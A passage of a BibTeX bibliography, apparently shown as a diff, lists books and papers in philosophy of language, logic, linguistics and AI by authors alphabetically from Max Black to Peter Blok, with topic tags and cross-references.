black_m:1958d2.}, + topic = {agency;causality;} + } + +@incollection{ black_m:1958d2, + author = {Max Black}, + title = {Making Something Happen}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {153--169}, + address = {Ithaca, New York}, + xref = {Republication of black_m:1958d1.}, + topic = {agency;causality;} + } + +@article{ black_m:1958e1, + author = {Max Black}, + title = {Self-Supporting Inductive Arguments}, + journal = {Journal of Philosophy}, + year = {1958}, + volume = {55}, + pages = {718--725}, + xref = {Republication: black_m:1958e2.}, + topic = {induction;} + } + +@incollection{ black_m:1958e2, + author = {Max Black}, + title = {Self-Supporting Inductive Arguments}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {209--218}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1958e1.}, + topic = {induction;} + } + +@article{ black_m:1959a1, + author = {Max Black}, + title = {Can Induction be Vindicated}, + journal = {Philosophical Studies}, + year = {1959}, + volume = {10}, + pages = {5--16}, + xref = {Republication: black_m:1959a2.}, + topic = {induction;} + } + +@incollection{ black_m:1959a2, + author = {Max Black}, + title = {Can Induction be Vindicated?}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {194--208}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1959a1.}, + topic = {induction;} + } + +@article{ black_m:1959b1, + author = {Max Black}, + title = {Linguistic Relativity: The Views of {B}enjamin + {L}ee {W}horf}, + journal = {The Philosophical Review}, + year = {1959}, + volume = {68}, + pages = {228--238}, + xref = {Republication: black_m:1959b2}, + topic = {linguistic-relativity;} + } + +@incollection{ black_m:1959b2, + author = {Max Black}, + title = {Linguistic Relativity: The Views of {B}enjamin + {L}ee {W}horf}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {244--257}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1959b1.}, + topic = {linguistic-relativity;} + } + +@article{ black_m:1960a1, + author = {Max Black}, + title = {Possibility}, + journal = {The Journal of Philosophy}, + year = {1960}, + volume = {57}, + pages = {117--126}, + xref = {Republication: black_m:1960a2.}, + topic = {possibility;} + } + +@incollection{ black_m:1960a2, + author = {Max Black}, + title = {Possibility}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {140--152}, + address = {Ithaca, New York}, + xref = {Original Publication: black_m:1960a1.}, + topic = {possibility;} + } + +@book{ black_m:1962a, + author = {Max Black}, + title = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + address = {Ithaca, New York}, + contentnote = {TC: + 1. Max Black, "Language and Reality", pp. 1--16 + 2. Max Black, "Explanations of Meaning", pp. 17--24 + 3. Max Black, "Metaphor", pp. 25--47 + 4. Max Black, "Presupposition and Implication", pp. 48--63 + 5. Max Black, "Necessary Statements and Rules", pp. 64--94 + 6. Max Black, "The Analysis of Rules", pp. 95--139 + 7. Max Black, "Possibility", pp. 140--152 + 8. Max Black, "Making Something Happen", pp. 153--169 + 9. Max Black, "Can the Effect Precede the Cause?", pp. 170--181 + 10. Max Black, "The `Direction' of Time", pp. 182--193 + 11. Max Black, "Can Induction be Vindicated?", pp. 194--208 + 12. Max Black, "Self-Supporting Inductive Arguments", pp. 209--218 + 13. Max Black, "Models and Archetypes", pp. 219--243 + 14. Max Black, "Linguistic Relativity: The Views of {B}enjamin + {L}ee {W}horf", pp. 244--257 + } , + topic = {philosophy-of-language;} + } + +@incollection{ black_m:1962b, + author = {Max Black}, + title = {Explanations of Meaning}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {17--24}, + address = {Ithaca, New York}, + topic = {philosophy-of-language;speaker-meaning;foundations-of-semantics;} + } + +@incollection{ black_m:1962c, + author = {Max Black}, + title = {Presupposition and Implication}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {48--63}, + address = {Ithaca, New York}, + topic = {presupposition;} + } + +@incollection{ black_m:1962d, + author = {Max Black}, + title = {The `Direction' of Time}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {182--193}, + address = {Ithaca, New York}, + topic = {temporal-direction;} + } + +@incollection{ black_m:1962n, + author = {Max BlackMax Black}, + title = {Models and Archetypes}, + booktitle = {Models and Metaphors}, + publisher = {Cornell University Press}, + year = {1962}, + editor = {Max Black}, + pages = {219--243}, + address = {Ithaca, New York}, + topic = {philosophy-and-models;} + } + +@article{ black_m:1963a1, + author = {Max Black}, + title = {Austin on Performatives}, + journal = {Philosophy}, + year = {1963}, + volume = {38}, + pages = {217--226}, + missinginfo = {number}, + xref = {Reprinted see black:1963a2.}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@incollection{ black_m:1963a2, + author = {Max Black}, + title = {Austin on Performatives}, + booktitle = {Symposium on J.L. Austin}, + publisher = {Routledge and Kegan Paul}, + year = {1969}, + editor = {K.T. Fann}, + pages = {401--411}, + address = {London}, + missinginfo = {E's 1st name.}, + xref = {Reprinted; see black:1963a1.}, + topic = {JL-Austin;speech-acts;pragmatics;} + } + +@article{ black_m:1963b, + author = {Max Black}, + title = {Reasoning with Loose Concepts}, + journal = {Dialogue}, + year = {1963}, + volume = {2}, + pages = {1--12}, + missinginfo = {number}, + topic = {vagueness;} + } + +@book{ black_m:1968a, + author = {Max Black}, + title = {The Labyrinth of Language}, + publisher = {Mentor Books}, + year = {1968}, + address = {New York}, + topic = {vagueness;philosophy-of-language;} + } + +@book{ black_m:1970a, + author = {Max Black}, + title = {Margins of Precision}, + publisher = {Cornell University Press}, + year = {1970}, + address = {Ithaca, NY}, + topic = {vagueness;} + } + +@book{ black_wj-bunt:1997a, + editor = {William J. Black and Harry Bunt}, + title = {Studies in Computational Pragmatics}, + publisher = {University College Press}, + year = {1997}, + address = {London}, + topic = {pragmatics;discourse;nl-processing;} + } + +@techreport{ blackburn_p:1990a, + author = {Patrick Blackburn}, + title = {Nominal Tense Logic}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--90--05}, + year = {1990}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {temporal-logic;} + } + +@incollection{ blackburn_p:1993a, + author = {Patrick Blackburn}, + title = {Modal Logic and Attribute Value Structures}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {19--65}, + address = {Dordrecht}, + topic = {modal-logic;feature-structures;} + } + +@article{ blackburn_p-spaan_e:1993a, + author = {Patrick Blackburn and Edith Spaan}, + title = {A Modal Perspective on the Computational Complexity of + Attribute Value Grammar}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {2}, + number = {2}, + pages = {129--169}, + topic = {complexity-theory;grammar-formalisms;feature-structures;} + } + +@article{ blackburn_p:1995a, + author = {Patrick Blackburn}, + title = {Introduction: Static and Dynamic Aspects of Syntactic + Structure}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {1}, + pages = {1--4}, + topic = {logic;nl-syntax;foundations-of-grammar;grammar-logicism; + grammar-formalisms;} + } + +@article{ blackburn_p-seligman:1995a, + author = {Patrick Blackburn and Jerry Seligman}, + title = {Hybrid Languages}, + journal = {Journal of Logic, Language, and Information}, + year = {1993}, + volume = {4}, + number = {3}, + pages = {251--272}, + topic = {modal-logic;modal-correspondence-theory;} + } + +@article{ blackburn_p-venema:1995b, + author = {Patrick Blackburn and Yde Venema}, + title = {Dynamic Squares}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {5}, + pages = {469--523}, + contentnote = {This deals with dynamic implication; see + groenendijk-stokhof:1991a.}, + topic = {dynamic-logic;conditionals;} + } + +@article{ blackburn_p:1997a, + author = {Patrick Blackburn}, + title = {Review of {\it Meaning and Partiality}, by {R}einhard + {M}uskens}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {3}, + pages = {353--355}, + xref = {Review of muskens:1996b.}, + topic = {partial-logic;nl-semantics;} + } + +@article{ blackburn_p-derijke:1997a, + author = {Patrick Blackburn and Maarten de Rijke}, + title = {Zooming In, Zooming Out}, + journal = {Journal of Logic, Language, and Information}, + year = {1997}, + volume = {6}, + number = {1}, + pages = {5--31}, + topic = {hybrid-modal-logics;modal-logics;logic-in-AI;dynamic-logic;} + } + +@book{ blackburn_p-derijke:1997b, + editor = {Patrick Blackburn and Maarten de Rijke}, + title = {Specifying Syntactic Structures}, + publisher = {{CSLI} Publications}, + year = {1997}, + address = {Stanford, California}, + ISBN = {1575860856 (hc)}, + contentnote = {TC: + 1. Tore Burheim, "A Grammar Formalism and Cross-Serial Dependencies" + 2. Jochen D\"orre and Suresh Manandhar, "On Constraint-Based + Lambek calculi" + 3. Marcus Kracht, "On Reducing Principles to Rules" + 4. Natasha Kurtonina and Michael Moortgat, "Structural Control" + 5. M. Andrew Moshier, "Featureless HPSG" + 6. James Rogers, "On Descriptive Complexity, language + complexity, and GB" + 7. Ralf Treinen, "Feature Trees over Arbitrary Structures" + 8. Gertjan van Noord and Gosse Bouma, "Dutch Verb Clustering + without Verb Clusters" + 9. J\"urgen Wedekind, "Approaches to Unification in Grammar: A + Brief Survey" } , + topic = {grammar-formalisms;} + } + +@incollection{ blackburn_p-etal:1997a, + author = {Patrick Blackburn and Marc Dymetman and Alain Lecomte and + Aarne Ranta and Christian Retor\'e and Eric Villemonte + de la Clergerie}, + title = {Logical Aspects of Computational Linguistics: + an Introduction}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {1--20}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@incollection{ blackburn_p-seligman:1998a, + author = {Patrick Blackburn and Jerry Seligman}, + title = {What Are Hybrid Languages?}, + booktitle = {Advances in Modal Logic, Volume 1}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Marcus Kracht and Maarten de Rijke and Heinrich Wansing}, + pages = {41--62}, + address = {Stanford, California}, + topic = {modal-logic;} + } + +@article{ blackburn_p:1999a, + author = {Patrick Blackburn}, + title = {Review of {\em Basic Model Theory}, by {K}ees {D}oes}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {7}, + number = {1}, + pages = {258--261}, + xref = {Review of: doets:1996a}, + topic = {model-theory;logic-intro;} + } + +@unpublished{ blackburn_p-bos:1999a, + author = {Patrick Blackburn and Johan Bos}, + title = {Representation and Inference in Natural Language: + A First Course in Computational Semantics. Volume {II}: + Working with Discourse Representations}, + year = {1999}, + note = {Available at http://www.coli.uni-sb.de/{\user}patrick}, + topic = {computational-semantics;nl-interpretation;} + } + +@incollection{ blackburn_p-etal:1999a, + author = {Patrick Blackburn and Johan Bos and Michael Kohlhase + and H. de Neville}, + title = {Inference and Computational Semantics}, + booktitle = {Third International Workshop on Computational + Semantics ({IWCS}--3)}, + year = {1999}, + editor = {Harry Bunt and Elias Thijsse}, + pages = {5--21}, + missinginfo = {A's 1st name, publisher, address}, + topic = {computational-semantics;cl-course;} + } + +@book{ blackburn_p-etal:2001a, + author = {Patrick BLackburn and Maarten de Rijke and Yde Venema}, + title = {Modal Logic}, + publisher = {Cambridge University Press}, + year = {2001}, + address = {Cambridge, England}, + topic = {modal-logic;} + } + +@article{ blackburn_p-marx:2002a, + author = {Patrick Blackburn and Maarten Marx}, + title = {REmarks on {G}regory's `Actually' Operator}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {3}, + pages = {281--288}, + topic = {modal-logic;actuality;} + } + +@book{ blackburn_s:1975b, + editor = {Simon Blackburn}, + title = {Meaning, Reference and Necessity: New Studies + in Semantics}, + publisher = {Cambridge University Press}, + year = {1975}, + address = {Cambridge, England}, + ISBN = {0521207207}, + topic = {semantics;philosophy-of-language;} + } + +@incollection{ blackburn_s:1975c, + author = {Simon Blackburn}, + title = {The Identity of Propositions}, + booktitle = {Meaning, Reference and Necessity: New Studies + in Semantics}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Simon Blackburn}, + pages = {182--205}, + address = {Cambridge, England}, + topic = {propositions;intensionality;} + } + +@article{ blackburn_s-code:1978a, + author = {Simon Blackburn and Alan Code}, + title = {The Power of {R}ussell's Criticism of {F}rege: + `On Denoting' pp. 48--50}, + journal = {Analysis}, + year = {1978}, + volume = {38}, + number = {2}, + missinginfo = {pages = {65--}}, + topic = {on-denoting;Russell;definite-descriptions;} + } + +@book{ blackburn_s:1980a, + author = {Simon Blackburn}, + title = {Philosophical Logic}, + publisher = {Open University Press}, + year = {1980}, + address = {Milton Keynes}, + ISBN = {0335110207 (pbk.)}, + topic = {philosophical-logic;} + } + +@book{ blackburn_s:1984a, + author = {Simon Blackburn}, + title = {Spreading the Word: Groundings in the Philosophy of + Language}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + ISBN = {0198246501 paperback}, + topic = {philosophy-of-language;} + } + +@incollection{ blackburn_s:1993a, + author = {Simon Blackburn}, + title = {Circles, Finks, Smells and Biconditionals}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {259--279}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {concept-grasping;nl-semantics-and-cognition; + perceptual-concepts;primary/secondary-qualities;} + } + +@incollection{ blackburn_s:1995a, + author = {Simon Blackburn}, + title = {Theory, Observation, and Drama}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {274--290}, + address = {Oxford}, + topic = {mental-simulation;propositional-attitude-ascription; + theory-theory-of-folk-psychology;} + } + +@article{ blackburn_p-derijke:1997c, + author = {Patrick Blackburn and Maarten de Rijke}, + title = {Why Combine Logics?}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {1}, + pages = {5--27}, + topic = {combining-logics;quantifying-in-modality;} + } + +@book{ blackburn_s:1998a, + author = {Simon Blackburn}, + title = {Ruling Passions: A Theory of Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0198247850}, + topic = {practical-reasoning;} + } + +@article{ blackburn_s:1999a, + author = {Simon Blackburn}, + title = {Review of {\it Mind, Language, and Society}, by + {J}ohn {R}. {S}earle}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {12}, + pages = {626--629}, + xref = {Review of searle:1998a}, + topic = {philosophy-of-mind;philosophy-of-language;} + } + +@book{ blackburn_s-simmons:1999a, + editor = {Simon Blackburn and Keith Simmons}, + title = {Truth}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0198752504}, + contentnote = {TC: + 1. F.H. Bradley, "On truth and copying" + 2. H.H. Joachim, "The nature of truth" + 3. William James, "Pragmatism's conception of truth" + 4. Bertand Russell, "William James's conception of truth" + 5. Gottlob Frege, "The thought: a logical inquiry" + 6. F.P. Ramsey, "On facts and propositions" + 7. Ludwig Wittgenstein, "Philosophical extracts" + 8. Alfred Tarski, "The semantic conception of truth and the + foundations of semantics" + 9. W.V. Quine, "Philosophy of logic" + 10. J.L. Austin, "Truth" + 11. P.F. Strawson, "Truth" + 12. J.L Austin, "Unfair to facts" + 13. Crispin Wright, "Truth: a traditional debate reviewed" + 14. Paul Horwich, "The minimalist conception of truth" + 15. Michael Dummett, "Of what kind of thing is truth a property?" + 16. Anil Gupta, "A critique of deflationism" + 17. Donald Davidson, "The folly of trying to define truth" + 18. Richard Rorty, "Pragmatism, Davidson, and truth" + 19. Hartry Field, "Deflationist views of meaning and content" + } , + topic = {truth;} + } + +@article{ blackburn_wk:1983a, + author = {William K. Blackburn}, + title = {Ambiguity and Non-Specificity: A Reply to {J}ay + {D}avid {A}tlas}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {4}, + pages = {479--498}, + topic = {definite-descriptions;presuppositon;ambiguity;} + } + +@book{ blackmore:1999a, + author = {Susan Blackmore}, + title = {The Meme Machine}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + ISBN = {0-19 (hardback), 0-19 (paperback)}, + topic = {evolutionary-psychology;} + } + +@article{ blair_d-maron:1985a, + author = {David C. Blair and M.E. Maron}, + title = {An Evaluation of Retrieval Effectiveness for a Full-Text + Document-Retrieval System}, + journal = {Communications of the {ACM}}, + year = {1985}, + volume = {28}, + number = {1}, + pages = {289--299}, + topic = {information-retrieval;} + } + +@article{ blair_g-etal:1989a, + author = {Gordon Blair and John Gallagher and Javad Malik}, + title = {Genericity vs. Inheritance vs. Delegation vs. Conformance + vs. $\ldots$}, + journal = {Journal of Object-Oriented Programming}, + year = {1989}, + pages = {11--17}, + month = {September/October}, + missinginfo = {volume, number}, + topic = {distributed-systems;object-oriented-systems;} + } + +@article{ blair_ha-subramanian:1987a, + author = {H.A. Blair and V.S. Subramanian}, + title = {Paraconsistent Logic Programming}, + journal = {Theoretical Computer Science}, + year = {1987}, + volume = {68}, + pages = {127--158}, + missinginfo = {A's 1st name, number}, + topic = {paraconsistency;logic-programming;} + } + +@article{ blake-etal:1995a, + author = {Andrew Blake and Michael Isard and David Reynard}, + title = {Learning to Track the Visual Motion of Contours}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {179--212}, + acontentnote = {Abstract: + A development of a method for tracking visual contours is + described. Given an ``untrained'' tracker, a training motion of an + object can be observed over some extended time and stored as an + image sequence. The image sequence is used to learn parameters + in a stochastic differential equation model. These are used, in + turn, to build a tracker whose predictor imitates the motion in + the training set. Tests show that the resulting trackers can be + markedly tuned to desired curve shapes and classes of motions.}, + topic = {motion-tracking;machine-learning;} + } + +@book{ blakemore:1987a, + author = {Diane Blakemore}, + title = {Semantic Constraints on Relevance}, + publisher = {Oxford University Press}, + year = {1987}, + address = {Oxford}, + ISBN = {0631156445}, + topic = {relevance;implicature;} + } + +@article{ blakemore:1987b, + author = {Diane Blakemore}, + title = {Linguistic Constraints on Pragmatic Interpretation: + A Reassessment of Linguistic Semantics}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {4}, + pages = {712--713}, + missinginfo = {number}, + topic = {pragmatics;semantics;} + } + +@incollection{ blakemore:1988a, + author = {Diane Blakemore}, + title = {\,`So' as a Constraint on Relevance}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {183--195}, + address = {Cambridge, England}, + topic = {relevance-theory;discourse-cue-words;pragmatics;} + } + +@article{ blakemore:1989a, + author = {Diane Blakemore}, + title = {Denial and Contrast: A Relevance Theoretic Analysis + of `But'\, } , + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {1}, + pages = {15--37}, + topic = {discourse-cue-words;`but';relevance-theory;} + } + +@article{ blakemore:1989b, + author = {Diane Blakemore}, + title = {Review of {\it Meaning and Force: The Pragmatics of + Performative Utterances}, by {F}ran\c{c}ois {R}ecanti}, + journal = {Mind and Language}, + year = {1989}, + volume = {4}, + number = {3}, + pages = {235--245}, + topic = {pragmatics;speech-acts;} + } + +@book{ blakemore:1990a, + author = {Diane Blakemore}, + title = {Understanding Utterances: The Pragmatics of Natural + Language}, + publisher = {Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + topic = {implicature;pragmatics-survey;} + } + +@unpublished{ blamey:1985a, + author = {Stephen Blamey}, + title = {The Logical Analysis of Presupposition}, + year = {1985}, + note = {Unpublished manuscript.}, + topic = {presupposition;pragmatics;} + } + +@incollection{ blamey:1986a, + author = {Stephen Blamey}, + title = {Partial Logic}, + booktitle = {Handbook of Philosophical Logic, Volume {III}: + Alternatives to Classical Logic}, + publisher = {D. Reidel Publishing Co.}, + year = {1984}, + editor = {Dov Gabbay and Franz Guenther}, + pages = {1--70}, + address = {Dordrecht}, + topic = {partial-logic;truth-value-gaps;} + } + +@article{ blanchette:1996a, + author = {Patricia A. Blanchette}, + title = {Frege and {H}ilbert on Consistency}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {7}, + pages = {317--336}, + topic = {foundations-of-mathematics;history-of-logic;} + } + +@article{ blass-gurevich:2000a, + author = {Andreas Blass and Yuri Gurevich}, + title = {The Logic of Choice}, + journal = {Journal of Symbolic Logic}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {1264--1310}, + topic = {abstract-state-machines;epsilon-operator;choice-constructs;} + } + +@article{ blass-etal:2002a, + author = {Andreas Blass and Yuri Gurevich and Saharon Shelah}, + title = {On Polynomial Time Computation over Unordered Structures}, + journal = {Journal of Symbolic Logic}, + year = {2002}, + volume = {67}, + number = {3}, + pages = {1093--1125}, + topic = {complexity-logics;} + } + +@article{ blattner:2001a, + author = {William Blattner}, + title = {Review of {\it The Paradox of Subjectivity: The Self + in the Transcendental Tradition}, by {D}avid {C}arr}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {454--456}, + xref = {Review of: carr_d:1999a.}, + topic = {idealism;Kant;Husserl;Heidegger;} + } + +@book{ bloom:1996a, + editor = {Paul Bloom}, + title = {Language and Space}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262024039}, + contentnote = {TC: + 1. Ray Jackendoff, "The Architecture of the Lingustic-Spatial + Interface" + 2. Manfred Bierwisch, "How Much Space Gets into Language" + 3. Willem J.M. Levelt, "Perspective Taking and Ellipsis in + Spatial Descriptions" + 4. Stephen C. Levinson, "Frames of Reference and {M}olyneux's + Question: Crosslinguistic Evidence" + 5. Karen Emmorey, "The Confluence of Space and Language in Signed + Languages" + 6. Leonard Talmy, "Fictive Motion in Language and `Ception'\," + 7. John O'Keefe, "The Spatial Prepositions in {E}nglish, Vector + Grammar, and the Cognitive Map Theory" + 8. Barbara Landau," Multiple geometric representations of + Objects in Languages and Language Learners" + 9. Jean M. Mandler, "Preverbal Representation and Language" + 10. Melissa Bowerman, " Learning How to Structure Space for + Language: A Crosslinguistic Perspective" + 11. Philip N. Johnson-Laird, "Space to Think" + 12. Barbara Tversky, " Spatial Perspective in Descriptions" + 13. Gordon D. Logan and Daniel D. Sadler, " A Computational + Analysis of the Apprehension of Spatial Relations" + 14. Tim Shallice, "The Language-to-Object Perception Interface: + Evidence from Neuropsychology" + 15. Mary A. Peterson and Lynn Nadel and Paul Bloom and Merrill + F. Garrett, "Space and language" } , + topic = {spatial-language;} + } + +@incollection{ blau:1983a, + author = {Ulrich Blau}, + title = {Three-Valued Analysis of Precise, Vague, and Presupposing + Quantifiers}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {79--129}, + address = {Amsterdam}, + topic = {vagueness;nl-quantifiers;} + } + +@article{ bledsoe:1970a, + author = {W.W. Bledsoe}, + title = {Splitting and Reduction Heuristics in Automatic + Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {2}, + number = {1}, + pages = {55--77}, + topic = {theorem-proving;} + } + +@article{ bledsoe-etal:1972a, + author = {W.W. Bledsoe and R.S. Boyer and W.H. Henneman}, + title = {Computer Proofs of Limit Theorems}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {27--60}, + topic = {theorem-proving;computer-assisted-mathematics;} + } + +@article{ bledsoe-bruell:1974a, + author = {W.W. Bledsoe and Peter Bruell}, + title = {A Man-Machine Theorem-Proving System}, + journal = {Artificial Intelligence}, + year = {1974}, + volume = {5}, + number = {1}, + pages = {51--72}, + topic = {theorem-proving;} + } + +@article{ bledsoe:1977a1, + author = {W. W. Bledsoe}, + title = {Non-Resolution Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {9}, + number = {1}, + pages = {23--40}, + xref = {Republication: bledsoe:1977a2.}, + topic = {theorem-proving;} + } + +@incollection{ bledsoe:1977a2, + author = {W. W. Bledsoe}, + title = {Non-Resolution Theorem Proving}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {91--108}, + address = {Los Altos, California}, + xref = {Journal Publication: bledsoe:1977a1.}, + topic = {theorem-proving;} + } + +@article{ bledsoe-etal:1985a, + author = {Woodrow W. Bledsoe and K. Kunen and R. Shostak}, + title = {Completeness Results for Inequality Provers}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {3}, + pages = {255--288}, + topic = {theorem-proving;completeness-theorems;} + } + +@book{ blevins_j-carter_j:1988a, + editor = {J. Blevins and J. Carter}, + title = {{NELS 18}: Proceedings of the Eighteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1988}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@unpublished{ blevins_jp:1992a, + author = {James P. Blevins}, + title = {The Linguistic relevance of Combinatory Grammars}, + year = {1992}, + note = {Unpublished manuscript, University of Western Australia.}, + topic = {categorial-grammar;} + } + +@article{ blevins_jp:1995a, + author = {James P. Blevins}, + title = {Syncretism and Paradigmatic Opposition}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {2}, + pages = {113--152}, + contentnote = {Discusses hierarchical organization of information in + the lexicon.}, + topic = {morphology;feature-structures;HPSG;} + } + +@incollection{ blin-miclet:2000a, + author = {Laurent Blin and Laurent Miclet}, + title = {Generating Synthetic Speech Prosody with Lazy Learning in + Tree Structures}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {87--90}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;speech-generation;} + } + +@inproceedings{ bloch:2000a, + author = {Isabelle Bloch}, + title = {Spatial Representation of Spatial Relationship + Knowledge}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {247--258}, + topic = {spatial-reasoning;spatial-representation;} + } + +@incollection{ block:1986a, + author = {Ned Block}, + title = {Advertisement for a Semantics for Psychology}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {615--678}, + address = {Minneapolis}, + topic = {foundations-of-semantics;cognitive-semantics;} + } + +@article{ block:1987a, + author = {Ned Block}, + title = {Functional Role and Truth Conditions}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1987}, + volume = {61}, + note = {Supplementary Series.}, + pages = {157--181}, + topic = {conceptual-role-semantics;} + } + +@incollection{ block:1997a, + author = {Ned Block}, + title = {Anti-Reductionism Slaps Back}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {107--132}, + address = {Oxford}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@book{ block-etal:1997a, + editor = {Ned Block and Owen Flanagan and G\"uven G\"uzeldere}, + title = {The Nature of Consciousness}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {consciousness;} + } + +@article{ block-stalnaker:1999a, + author = {Ned Block and Robert C. Stalnaker}, + title = {Conceptual Analysis, Dualism, and the Explanatory Gap}, + journal = {The Philosophical Review}, + year = {1999}, + volume = {108}, + number = {1}, + missinginfo = {pages}, + topic = {a-priori;} + } + +@article{ blockeel-deraedt:1998a, + author = {Hendrik Blockeel and Luc De Raedt}, + title = {Top-Down Induction of First-Order Logical Decision + Trees}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {101}, + number = {1--2}, + pages = {285--297}, + acontentnote = {Abstract: + A first-order framework for top-down induction of logical + decision trees is introduced. The expressivity of these trees is + shown to be larger than that of the flat logic programs which + are typically induced by classical ILP systems, and equal to + that of first-order decision lists. These results are related to + predicate invention and mixed variable quantification. Finally, + an implementation of this framework, the TILDE system, is + presented and empirically evaluated.}, + topic = {machine-learning;structure-learning;} + } + +@article{ blok:1991a, + author = {Peter Blok}, + title = {Focus and Presupposition}, + journal = {Journal of Semantics}, + year = {1991}, + volume = {8}, + number = {4}, + pages = {149--165}, + topic = {sentence-focus;presupposition;pragmatics;} + } + +@incollection{ blok:1991b, + author = {Peter Blok}, + title = {On Rooth's Analysis of Heavy Stress}, + booktitle = {Language and Cognition 1}, + publisher = {University of Groningen}, + year = {1991}, + editor = {M. Kas and Eric Reuland and C. Vet}, + pages = {19--37}, + address = {Groningen}, + contentnote = {Referenced in Blok:1993a.}, + topic = {sentence-focus;pragmatics;} + } + +@phdthesis{ blok:1993a, + author = {Peter Blok}, + title = {The Interpretation of Focus: An Epistemic Approach to + Pragmatics}, + school = {Rijksuniversiteit Groningen}, + year = {1993}, + address = 